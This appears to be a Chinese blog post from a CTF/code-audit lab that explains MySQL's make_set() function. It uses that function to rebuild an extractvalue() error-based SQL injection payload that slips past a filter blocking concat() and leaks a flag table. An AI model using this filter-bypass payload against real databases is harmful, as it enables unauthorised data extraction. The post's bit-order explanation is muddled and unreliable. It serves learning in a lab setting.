MySQL make_set()使用----红日代码审计day1

8 篇文章 0 订阅
3 篇文章 0 订阅

make_set(bits,str1,str2,…)

返回一个设定值(含子字符串分隔字符串","字符),在设置位的相应位的字符串。str1对应于位0str2到第1位,依此类推。在str1,str1有NULL值,…那么不添加到结果。结果取二进制反码

前景: 发现个SQL注入,过滤掉了很多东西但是没有过滤报错注入的关键函数,只过滤了coucat
所以我们直接把concat() 替换为 make_set()
先学习一下make_set()

  1. select make_set(1,'a','b','c');
    1 的二进制为 0001 反过来就是 1000,所以取str1(a),打印a
    在这里插入图片描述

  2. select make_set(2,'a','b','c');
    2 的二进制为0010 反过来就是 0100,所以取str2(b),打印b
    在这里插入图片描述

  3. select make_set(3,'a','b','c');
    3 的二进制为0011 反过来就是 1100,所以取 str1(a),str2(b) 打印a,b
    在这里插入图片描述

  4. select make_set(4,'a','b','c');
    4 的二进制为0100 反过来就是 0010,所以取 str4(c) 打印c
    在这里插入图片描述

  5. select make_set(1|4,'a','b','c');
    1|4 的二进制为0001|0100 进行运算,有一个为1 就为1 ,这样就是0101, 反过来就是 1010所以取 str1(a),str3(c), 打印 ac
    在这里插入图片描述

  6. 我们现在实践一下,先查询一下值
    在这里插入图片描述

  7. 使用报错注入语句
    原来报错注入语句
    select extractvalue(null,concat(0x7e,(select * from flag),0x7e));
    修改后
    select extractvalue(null,make_set(3,0x7e,(select * from flag),0x7e));

在这里插入图片描述由于我使用的是 mske_set(3,0x7e,(select * from flag),0x7e)
3 的二进制为 0011 反过来就是 1100 所以取 str1(a),str2(b) 打印 ~,HRCTF{1n0rrY_i3_Vu1n3rab13}

  1. 套到页面,成功
    在这里插入图片描述
评论 4
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值